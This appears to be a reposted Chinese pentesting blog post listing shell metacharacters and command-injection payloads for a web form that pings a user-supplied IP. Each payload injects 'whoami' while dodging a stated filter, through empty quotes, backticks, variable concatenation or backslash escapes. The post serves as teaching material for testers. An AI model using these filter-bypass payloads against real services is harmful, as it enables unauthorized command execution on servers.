码迷,mamicode.com
首页 > 其他好文 > 详细

命令执行常用命令

时间:2018-05-28 13:44:53      阅读:121      评论:0      收藏:0      [点我收藏+]

标签:命令执行常用命令

在渗透测试过程中,会遇见一些关于命令执行的漏洞,下面是收集的一些常用命令:

;   <   >   <>  |   ||  &  &&   `` ()   ‘ ‘ 

假设一种场景,从前端接收ip比如:127.0.0.1,后端对该ip进行ping测试: ping 127.0.0.1

  1. 没有任何防护
    技术分享图片

  2. 过滤了|
    技术分享图片

  3. 过滤了 ; |
    技术分享图片

  4. 过滤了 ; | &
    技术分享图片

  5. 过滤了 whoami关键字
    ping -c 1 127.0.0.1|wh``oami
    技术分享图片

  6. 过滤了whoami ``
    ping -c 1 127.0.0.1|wh‘‘oami
    技术分享图片

  7. 过滤了whoami `` ‘‘
    ping -c 1 127.0.0.1;a=who;b=ami;$a$b
    技术分享图片

  8. 过滤了whoami `` ‘‘ $
    ping -c 1 127.0.0.1|whoam""i
    技术分享图片

  9. 过滤了whoami `` ‘‘ $ "" ;
    ping -c 1 127.0.0.1|whoam\i
    技术分享图片

命令执行常用命令

标签:命令执行常用命令

原文地址:http://blog.51cto.com/13770310/2121065

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!